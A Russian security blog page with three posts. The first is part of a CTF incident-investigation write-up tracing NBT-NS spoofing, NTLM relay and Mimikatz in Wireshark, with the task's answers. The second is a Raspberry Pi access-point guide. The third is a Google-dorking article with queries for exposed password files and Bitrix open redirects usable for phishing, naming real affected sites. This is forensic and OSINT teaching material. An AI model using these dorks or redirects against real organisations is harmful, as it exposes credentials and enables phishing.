Теперь можно приступить к изучению. Постепенно спускаемся по дампу (важно, чтобы он был отсортирован по номеру пакета от меньшего к большему) и ищем «аномалии».

В результате находим следующие пакеты:

Это пакеты протоколов DNS, NBNS, MDNS и LLMNR. Насколько вы помните, именно эти пакеты участвуют в атаке MDNS/LLMNR/NBT-NS Poisoning. Но почему мы решили, что они выглядят подозрительно? Внимательно посмотрим на содержимое:

Хост с IP 192.168.1.101 (который предположительно является одним из двух неподписанных ARM на схеме из условия и вместе с этим жертвой) запрашивает ответ из DNS-записей контроллера домена по некоему cloud.cyber.local, который отсутствует как на схеме сети, так и в записях DNS контроллера домена, что мы можем понять по его ответу. Но в следующих пакетах при NBNS-рассылке неожиданно отзывается 192.168.1.105, что вполне может быть подменой от злоумышленника.

В итоге предположим, что:

Укажите название компьютерной атаки, которая произошла первой - NBT-NS-spoofing
Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки? - cloud
Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию? - 192.168.1.101
Какой IP-адрес был у СВТ хакера? - 192.168.1.105

Вопрос 5-9

Теперь, когда у нас есть информация о первом подвергшемся атаке хосте, можно сказать, что мы встали на лыжню, по которой шёл злоумышленник, и дальнейшее изучение пройдёт без проблем.

Чтобы ещё быстрее найти дальнейший шаг злоумышленника, с помощью фильтра оставим трафик, связанный только с СВТ злоумышленника, куда ушли аутентификационные данные (192.168.1.105):

(!(_ws.col.protocol == "TCP") && !(_ws.col.protocol == "TLSv1.2") && ((ip.src == 192.168.1.0/24 && ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 && ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 && ip.dst == 192.168.1.0/24))) && ip.addr == 192.168.1.105

Траффика стало намного меньше, и сразу в глаза бросаются несколько первых с начала жёлтых блоков пакетов:

То есть хост последовательно начал соединяться со всеми СВТ в сети, что указывает на проведение сканирования, видимо, с целью проверки подписи SMB и составления списка пригодных для NTLM-Relay атаки хостов.

Подошли только два хоста, это 192.168.1.5 и 192.168.1.100, на которые впоследствии и пошла атака:

В итоге аутентифицироваться получилось только на хосте 192.168.1.100 под доменным пользователем CYBER\admin.

Неудачная аутентификация на 192.168.1.5 (для сравнения):

Далее идёт большой блок пакетов общения злоумышленника с 192.168.1.100 по SMB2, среди которых можно выделить пакеты с File: _output, ответ на которые мы можем без проблем просмотреть, так как он передаётся в открытом виде. Например, просмотрим первый попавшийся ответ:

Злоумышленник ожидаемо воспользовался smbexec для получения терминала Windows, давайте проследим за его действиями:

Проверил терминал, выведя содержимое папки System32:

Вывел содержимое папки пользователей (узнал, какие учётные записи есть на машине):

Начал исследовать папку доменного пользователя admin.CYBER (пригодится для ответа на вопрос 7):

На рабочем столе ничего найдено не было.

А вот в загрузках лежал файл consumers.txt, интересно было бы посмотреть на его содержимое:

Злоумышленнику также это было интересно, поэтому он решил сохранить этот файл себе, используя поднятый HTTP-сервер с возможностью принятия файлов, расположенный на его втором СВТ во внешней сети:

Мы, как специалисты, которые расследуют инцидент, можем воспользоваться этим и восстановить содержимое файла consumers.txt, изучив HTTP-запросы, связанные со вторым IP-адресом злоумышленника (10.0.1.50). Для этого чуть-чуть изменим текущий фильтр:

(!(_ws.col.protocol == "TCP") && !(_ws.col.protocol == "TLSv1.2") && ((ip.src == 192.168.1.0/24 && ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 && ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 && ip.dst == 192.168.1.0/24))) && ip.addr == 10.0.1.50

Видно, что за всю историю было отправлено 3 файла (3 POST запроса). Не будем рассматривать сразу все, чтобы не терять нить происходящего, просто, так как это была первая эксфильтрация (передача файлов с машины жертвы на свою), обратимся к первому же POST запросу и выведем байты раздела DATA:

Судя по содержанию данного файла, перед собой мы видим логин и пароль, которые в дальнейшем злоумышленник может использовать для захвата следующего хоста. Так как, по всей видимости, с хостом 192.168.1.100 мы закончили, подведём итоги:

5. NTLMv2-SSP-хэш какой учетной записи был скомпрометирован? - admin

6. Какой узел скомпрометирован в результате атаки NTLM-Relay? - 192.168.1.100

7. Какое количество директорий находится на скомпрометированном СВТ (вопрос 6) в папке пользователя admin\CYBER? - 11

8. Укажите IP-адрес второго СВТ злоумышленника - 10.0.1.50

9. Укажите содержимое украденного файла с СВТ из вопроса 6 - Michael_ScottDundermifflin1

Вопрос 10-13

Вернёмся к фильтру по первой СВТ злоумышленника:

(!(_ws.col.protocol == "TCP") && !(_ws.col.protocol == "TLSv1.2") && ((ip.src == 192.168.1.0/24 && ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 && ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 && ip.dst == 192.168.1.0/24))) && ip.addr == 192.168.1.105

Дальнейший трафик представляет собой кучу лишних DNS-запросов, но среди них главное не упустить два интересных пакета:

С хоста злоумышленника произошло подключение к 192.168.1.5 (он же fileserver.cyber.local), при этом в cookie мы отчётливо видим имя пользователя Michael_Scott, которое ранее было найдено в файле . Теперь, с учётом того что у злоумышленника появился полноценный доступ к рабочему столу файлового сервера, стоит проверить весь трафик, связанный с ним, соответственно модифицируем фильтр:

(!(_ws.col.protocol == "TCP") && !(_ws.col.protocol == "TLSv1.2") && ((ip.src == 192.168.1.0/24 && ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 && ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 && ip.dst == 192.168.1.0/24))) && ip.addr == 192.168.1.5

Смотрим, естественно, начиная с RDP:

Ниже снова видим взаимодействие по HTTP с хостом злоумышленника с очень подозрительным запросом файла, который именуется как некий Windows_update.zip:

Восстановим его и посмотрим, что внутри:

Это был Mimikatz, а значит, что при условии успешного его применения у злоумышленника может оказаться ещё больше учётных данных. Также сразу можно обратить ниже по трафику внимание на ещё одну кражу файла, на этот раз это картинка:

По старой традиции, прежде чем рассматривать дальнейшее перемещение злоумышленника, остановимся и заполним табличку:

10. При помощи какого протокола злоумышленник скомпрометировал узел file.cyber.local? - RDP

11. Какое имя учетной записи было использовано для проникновения на узел file.cyber.local? - Michael_Scott

12. Какое вспомогательное вредоносное программное обеспечение было загружено злоумышленником на узел file.cyber.local? - Mimikatz

13. Какое количество людей изображено на изображении, украденном с узла file.cyber.local? - 16

Вопрос 14-15

Последним шагом злоумышленника стал захват контроллера домена. Судя по дальнейшему трафику, сделал он это через протокол WinRM с учётными данными из Mimikatz. Понять это можно по HTTP-запросам к /wsman:

Теперь можно сказать точно, что весь путь злоумышленника определён. Остаётся узнать, какие документы он украл? Сделать это можно, переключившись в фильтре на трафик контроллера домена, или же, при условии того, что злоумышленник так или иначе крадёт эти файлы на определённый хост, можно вернуться к нему и просто посмотреть последний POST-запрос.

Архив восстанавливаем, как и в случае с Mimikatz (у названий файлов внутри чуть поломана кодировка):

При открытии первого же документа сразу понятно, кто разрабатывал документы:

На этом расследование данного инцидента можно назвать законченным.

Настройка Raspberry Pi в качестве беспроводной точки доступа

2024-07-04T19:04:42.035Z

Введение

В рамках маленького проекта внутри клуба мне предстояло настроить Raspberry Pi zero W так, чтобы на нём располагался небольшой веб-сервер, доступ к которому был бы через точку доступа Wi-Fi. С веб-серверами я уже знаком очень близко, а вот настройка Raspberry Pi как точки доступа — это дело другое, так как я не имел большого опыта работы с ней. Соответственно, я пошёл изучать различные гайды по настройке точки доступа и столкнулся с тем, что в каждом таком гайде некоторые шаги противоречили друг другу, поэтому я и решил написать данную статью, где опишу свой процесс успешной настройки, который был скомпонован из разных гайдов.

Надеюсь, он кому-нибудь поможет. Приятного чтения!

Установка Raspberry OS

Сразу хотел бы сконцентрировать внимание на том, что систему нужно устанавливать через BalenaEtcher, а не через Raspberry Pi Imager, иначе у вас возникнут проблемы на этапе настройки сетевого адаптера, который просто-напросто заблокирует rfkill.

Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.

Насколько я знаю, данная проблема решаема, но если есть способ её изначально избежать, то почему бы и нет.

1 Шаг. Установка утилит

Для начала устанавливаем все основные утилиты:

- Hostapd — Daemon, который позволяет плате выступать в качестве точки доступа и сервера аутентификации.
- Dnsmasq — Лёгкий и быстрый DNS, DHCP и TFTP-сервер, который используется для обеспечения доменными именами и связанными с ними сервисами небольших сетей.
- Dhcpcd — Клиент DHCP (по идее должен быть установлен по умолчанию, но у меня его не было).

sudo apt install hostapd dnsmasq dhcpcd

2 Шаг. Настройка DHCP

Для работы точки доступа нужно полностью выделить беспроводной интерфейс и сделать так, чтобы никакая другая служба не вмешивалась в его работу, в том числе и сам DHCP.

Поэтому в файле /etc/dhcpcd.conf в конец добавляем следующую строку:

denyinterfaces wlan0

3 Шаг. Настройка интерфейса

Теперь перейдём к настройке самого беспроводного интерфейса. Он должен иметь статический IP, иначе другие устройства при попытке подключения не смогут её найти.

Для этого в файл /etc/network/interfaces добавляем настройку wlan0 или же изменяем, если она уже существует, на следующую:

allow-hotplug wlan0
iface wlan0 inet static
    wireless-mode Master
    address 192.168.52.1
    netmask 255.255.255.0
    network 192.168.52.0
    broadcast 192.168.52.255
#   wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

4 Шаг. Настройка DNS сервера

Для нормального функционирования DNS-сервера можно воспользоваться следующей конфигурацией, которую необходимо поместить в /etc/dnsmasq.conf:

interface=wlan0

listen-address=192.168.52.1

bind-interfaces

server=8.8.8.8

domain-needed

bogus-priv

dhcp-range=192.168.52.5,192.168.52.250,12h

Также при уже тестировании настройки точки доступа я столкнулся с проблемой, что Dnsmasq запускается раньше, чем применяются настройки интерфейса, и из-за этого первый запуск происходит с ошибкой.

Это можно решить, добавив параметр Restart в [Service] сервисный файл (/lib/systemd/system/dnsmasq.service):

Restart=always
RestartSec=5s

5 Шаг. Настройка hostapd

В настройках hostapd (/etc/hostapd/hostapd.conf) необходимо прописать параметры точки доступа, её параметры безопасности и имя:

interface=wlan0

ssid=[Имя сети]

hw_mode=g

channel=6

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=2

wpa_key_mgmt=WPA-PSK

wpa_passphrase=[Пароль сети]

rsn_pairwise=CCMP

Также, чтобы данные настройки работали, нужно добавить путь к ним в переменную DAEMON_CONF в /etc/default/hostapd:

DAEMON_CONF="/etc/hostapd/hostapd.conf"

6 Шаг. Активация служб

Последним шагом остаётся только включить все необходимые службы:

sudo systemctl enable hostapd
sudo systemctl start hostapd

sudo systemctl enable dnsmasq
sudo systemctl start dnsmasq

Заключение

На этом настройка точки завершена, и можно её протестировать, подключившись по SSH или, как в моём случае, попробовав зайти на поднятый Web-сервер:

Всё отлично работает! Надеюсь, моя статья принесёт вам пользу.

OSINT: Google Dorks ч.1

2024-06-03T10:32:43.340Z

Введение

Что такое Google Dorking?

Google Dorking, также известный как взлом Google, — это метод, который позволяет искать информацию, доступ к которой ограничен или затруднён с помощью обычных поисковых запросов.

Этот метод использует расширенные возможности индексации Google для поиска конкретных типов данных, которые могут содержать конфиденциальную информацию. Иногда такая информация может быть непреднамеренно обнародована и доступна для поиска с помощью специальных поисковых запросов.

Для чего используется?

Тестирование на проникновение: Эксперты по безопасности используют Google Dorking для поиска уязвимостей и обеспечения безопасности систем.
Сбор информации: Исследователи используют его для сбора соответствующих данных для различных целей.
Аудит конфиденциальности: Частные лица и организации используют его для проверки того, какая информация о них является общедоступной.

Почему используется?

Возможности поисковых систем: Google обладает невероятными возможностями для индексации огромных объемов данных из Интернета. Используя расширенные поисковые системы, пользователи могут более эффективно просматривать эти данные для поиска конкретной информации.

Общедоступная информация: OSINT фокусируется на сборе общедоступной информации. Google Dorking идеально вписывается в эту парадигму, поскольку помогает находить данные, которые уже являются общедоступными, но которые нелегко найти с помощью простого поиска.

Универсальность и специфичность: Google Dorking позволяет выполнять поиск с высокой степенью конкретизации. Это ценно в OSINT, где точность может привести к получению более актуальной и действенной информации.

Что можно найти?

Имена пользователей и пароли.
Список адресов электронной почты.
Персональные данные (адреса, номера телефонов).
Конфиденциальные данные компании.
Конфигурацию сервера и сети.

Поисковики и их основные фильтры

1. Google

URL: google.com
Особенности: Обширная индексация, мощные алгоритмы поиска.
Фильтры:

Кавычки (" "): Найдите точную фразу.

Пример: "open source intelligence"

Минус (-): Исключите слово или фразу.

Пример: cybersecurity -news

site:: Ограничьте результаты только определенным сайтом.

Пример: site:wikipedia.org

intitle:: Найдите страницы с определенным словом в названии.

Пример: intitle:"index of"

inurl:: Найдите URL-адреса, содержащие определенное слово.

Пример: inurl:admin

filetype:: Выполняйте поиск по определенным типам файлов.

Пример: filetype:pdf

related:: Найдите сайты, связанные с определенным URL.

Пример: related:nytimes.com

cache:: Просмотр кэшированной версии страницы.

Пример: cache:example.com

link:: Найдите страницы, которые ссылаются на определенный URL.

Пример: link:example.com

define:: Получите определения слов.

Пример: define:osint

2. Bing

URL: bing.com
Особенности: Аналогичен Google, часто находит разные результаты из-за разных методов индексации.
Фильтры:

Кавычки(" "): Найдите точную фразу.

Пример: "open source intelligence"

Минус(-): Исключите слово или фразу.

Пример: cybersecurity -news

site:: Ограничьте результаты только определенным сайтом.

Пример: site:wikipedia.org

intitle:: Найдите страницы с определенным словом в названии.

Пример: intitle:"index of"

inurl:: Найдите URL-адреса, содержащие определенное слово.

Пример: inurl:admin

filetype:: Выполняйте поиск по определенным типам файлов.

Пример: filetype:pdf

linkfromdomain:: Найдите страницы, которые ссылаются на определенный домен.

Пример: linkfromdomain:example.com

contains:: Ищите страницы, содержащие ссылки на файлы определенного типа.

Пример: contains:pdf

define:: Получите определения слов.

Пример: define:osint

3. DuckDuckGo

URL: duckduckgo.com
Особенности: Ориентирован на конфиденциальность, не отслеживает пользователей.
Фильтры:

Кавычки (" "): Найдите точную фразу.

Пример: "open source intelligence"

Минус (-): Исключите слово или фразу.

Пример: cybersecurity -news

site:: Ограничьте результаты только определенным сайтом.

Пример: site:wikipedia.org

intitle:: Найдите страницы с определенным словом в названии.

Пример: intitle:"index of"

inurl:: Найдите URL-адреса, содержащие определенное слово.

Пример: inurl:admin

filetype:: Выполняйте поиск по определенным типам файлов.

Пример: filetype:pdf

ext:: Похожий на filetype,выполняет поиск по определенным расширениям файлов.

Пример: ext:pdf

define:: Получите определения слов.

Пример: define:osint

related:: Найдите сайты, связанные с определенным URL.

Пример: related:nytimes.com

!bangs: Используйте DuckDuckGo bangs для прямого поиска на других веб-сайтах.

Пример: !wikipedia OSINT (searches for OSINT on Wikipedia).

4. Yandex

URL: yandex.com
Особенности: Популярен в России, подходит для поиска контента, который может быть пропущен западными поисковыми системами.
Фильтры:

Кавычки (" "): Найдите точную фразу.

Пример: "open source intelligence"

Минус (-): Исключите слово или фразу.

Пример: cybersecurity -news

site:: Ограничьте результаты только определенным сайтом.

Пример: site:wikipedia.org

title:: Найдите страницы с определенным словом в названии.

Пример: title:"index of"

url:: Найдите URL-адреса, содержащие определенное слово.

Пример: url:admin

mime:: Выполняйте поиск определенных типов файлов по их типу MIME.

Пример: mime:application/pdf

domain:: Ограничьте результаты поиска определенным доменом.

Пример: domain:example.com

host:: Выполняйте поиск в пределах определенного хоста.

Пример: host:subdomain.example.com

5. Yahoo

URL: yahoo.com
Особенности: Использует поисковый индекс Bing, предлагает расширенные параметры поиска, содержит уникальный контент в своем индексе.
Фильтры:

Кавычки (" "): Найдите точную фразу.

Пример: "open source intelligence"

Минус (-): Исключите слово или фразу.

Пример: cybersecurity -news

site:: Ограничьте результаты только определенным сайтом.

Пример: site:wikipedia.org

intitle:: Найдите страницы с определенным словом в названии.

Пример: intitle:"index of"

inurl:: Найдите URL-адреса, содержащие определенное слово.

Пример: inurl:admin

filetype:: Выполняйте поиск по определенным типам файлов.

Пример: filetype:pdf

link:: Найдите страницы, которые ссылаются на определенный URL.

Пример: link:example.com

define:: Получите определения слов.

Пример: define:osint

Кейсы и применениие Google Dorks

Внимание! Автор этой статьи не несет ответственности за какие-либо действия, предпринятые читателями на основе предоставленной информации. Эта статья была создана исключительно в образовательных целях. Рассмотренные методы и примеры призваны продемонстрировать возможности и риски, связанные с Google Dorking.

Кейс 1 (kingstonű):

Хоть и в названии данной техники есть название «Google», одним им дело не заканчивается. Дело в том, что результаты поиска в подобных системах зависят от многих факторов, например, того же местоположения. За примерами далеко ходить не надо. На последних соревнованиях, в которых я участвовал, был трек, посвящённый именно OSINT. Я в нём хоть и не участвовал, но участвовала моя знакомая, от которой я и получил этот кейс.

Было дано задание: «Вас просят найти файл с названием Kingstonű, вы знаете, что он находится на Twonky Server. Найдите и укажите IP-адрес сервера с его портом».

Разумеется, первым делом приходит в голову следующий дорк (ну, по крайней мере мне):

intext:kingstonű Twonky Server

Но он не сработал. Тогда мы начали перебирать другие варианты, и все они приводили к неудаче.

Ps: Сейчас, когда я пишу эту статью, Google без проблем нашёл этот сервер. :)
Возможно, проблема заключалась именно в использовании сети от
организаторов мероприятия.

Вбив поисковый запрос, даже проще, чем был.

"kingstonű" Twonky Server

Получаем следующую выдачу:

Таск можно считать выполненным.

Кейс 2 (Оцениваем достижения студентов):

Частенько из-за банальной невнимательности или же халатности иногда файлы, содержащие пароли, оказываются в открытом виде на сайтах. Естественно, поисковики своими ботами подхватывают и индексируют эти файлы.

Пароли могут быть в различных типах файлов. Наиболее вероятно, что они будут содержаться в следующих: xls, xml, txt, csv, sql, bak, json, log.

Попробуем выполнить поиск паролей в xls:

filetype:xls password

В результате получаем достаточно электронных таблиц, среди которых вперемешку с обычными документами, которые просто упоминают слово «password», действительно имеются документы, содержащие логины и пароли от различных систем. На скриншоте выше видно документ выпускного фияла НИТУ МИСиС, который содержит учётные данные от «Единого портала интернет-тестирования в сфере образования» (https://i-exam.ru/). Не знаю, действительно ли задумывалось, что эти данные будут храниться открыто, но как по мне, странновато.

Так же можно сузить круг поиска если уточнить какой именно сайт мы исследуем. Я решил поискать ещё доки с такими паролями на сайте НИТУ МИСиС:

site:vf.misis.ru filetype:xls password

В результате мы видим тот же документ, что мы и видели до этого, и он один, что ещё больше наталкивает на мысль, что это тут лежать не должно.

Кейс 3 (Ловись рыбка):

Хоть речь сегодня идёт не о социальной инженерии, но мы всё равно её коснёмся. Я думаю, не стоит объяснять, что такое фишинг. На сегодняшний день мы встречаемся с ним довольно часто. В основном это замаскированные ссылки под легальные сайты, по типу банков, ответов на ЕГЭ и много чего прочего. Об этом вы можете почитать на канале TrueOSINT, там достаточно различных кейсов.

Естественно, чтобы человек повёлся на такую ссылку, нужно её грамотно замаскировать, заранее зарезервировав домен, похожий на настоящий. А что, если я скажу, что можно использовать и реальный домен, и сайт компании? Дело всё в прямых редиректах Bitrix, которые позволяют сделать перенаправление с легального сайта на фишинговый, и при этом ссылка, по которой будет переходить жертва, не будет вызывать подозрений (т. к. начало её вполне легальное).

Давайте поищем такие ссылки:

inurl:bitrix/redirect.php *

Первая интересная ссылка, которая мне попалась, — сайта «Федерального государственного унитарного предприятия «Президент-Сервис» Управления делами Президента Российской Федерации» (https://prsr.ru/).

Только выше я указал реальную ссылку, а вот как выглядит ссылка из поисковика:

Здесь всё же чуть-чуть заметна вторая часть ссылки из-за того, что сам домен короткий. При переходе по ней мы получаем следующую картину.

В этом случае это просто реклама взломанной версии игры сомнительного качества и такого же сомнительного уровня безопасности, вполне возможно, что вирус.

Второй сайт в нашем мини-обзоре — это домен «Газпром энергосбыта» (http://mrg-sbyt.ru/). Данный домен при простом переходе редиректит на основной сайт Газпрома (https://energosbyt.gazprom.ru/), но только ли на него? Нет :)

С помощью того же дорка с уточнением сайта (флаг «site:»), я смог найти настолько много левых редиректов на различного рода сайты, что у меня не хватило терпения долистать до конца. Большая часть представляла собой перенаправление на покупку чего-либо и 18+ сайты. Скринов, естественно, прикреплять не буду.

Сейчас эту проблему решают либо отключением редиректов, либо настраивают так, чтобы Битрикс сообщал о редиректе пользователю и требовал подтвердить его ещё одним нажатием на ссылку, но некоторых пользователей не всегда останавливает подобное.

Заключение

В этой статье мы рассмотрели самую основу, что такое Google Dorking и как он применяется на примерах, но это лишь первая часть этой темы. Во второй части мы рассмотрим ещё несколько уже специфичных поисковых систем, с которыми обычный интернет-пользователь редко сталкивается, если сталкивается вообще.

Спасибо за прочтение!

#osint

#google_dorking

Notes from /dev/null

XORDDoS: Анатомия угрозы для Linux-инфраструктур

Происхождение и контекст угрозы

XOR как системообразующий примитив

Вектор проникновения: SSH-брутфорс

Закрепление: многоуровневая персистентность

System V Init (runlevels)

Cron — сторожевой процесс

Systemd (современные версии)

Маскировка: арсенал антианалитических техник

LKM-руткит (ring 0)

Спуфинг имён процессов

Демонизация и разрыв дерева процессов

Антифорензика: уничтожение улик

Полиморфизм: 26 000 уникальных копий

Практический кейс: разбор заражения по системным логам

Фаза 1 — Брутфорс SSH

Фаза 2 — Компрометация и установка полезной нагрузки

Фаза 3 — Закрепление: что было найдено в системе

Коммуникация с C2 и функционал DDoS

Обнаружение и реагирование

Индикаторы компрометации (IoC)

Алгоритм очистки системы

SSTI в действии: как шаблон становится RCE

Введение

С чего всё началось?

Методология внедрения

Detect & Identify

Exploit

Публичные отчёты

Uber

Министерство обороны США

Общие источники

Расследование инцидента (Кибер Волга 2025)

Введение

Исходные данные

Легенда

Задание

Совет

Решение

Подготовка

Вопрос 1-4

Вопрос 5-9

Вопрос 10-13

Вопрос 14-15

Настройка Raspberry Pi в качестве беспроводной точки доступа

Оглавление

Введение

Установка Raspberry OS

1 Шаг. Установка утилит

2 Шаг. Настройка DHCP

3 Шаг. Настройка интерфейса

4 Шаг. Настройка DNS сервера

5 Шаг. Настройка hostapd

6 Шаг. Активация служб

Заключение

OSINT: Google Dorks ч.1

Введение

Что такое Google Dorking?

Для чего используется?

Почему используется?

Что можно найти?

Поисковики и их основные фильтры

1. Google

2. Bing

3. DuckDuckGo

4. Yandex

5. Yahoo

Кейсы и применениие Google Dorks

Кейс 1 (kingstonű):

Кейс 2 (Оцениваем достижения студентов):

Кейс 3 (Ловись рыбка):

Заключение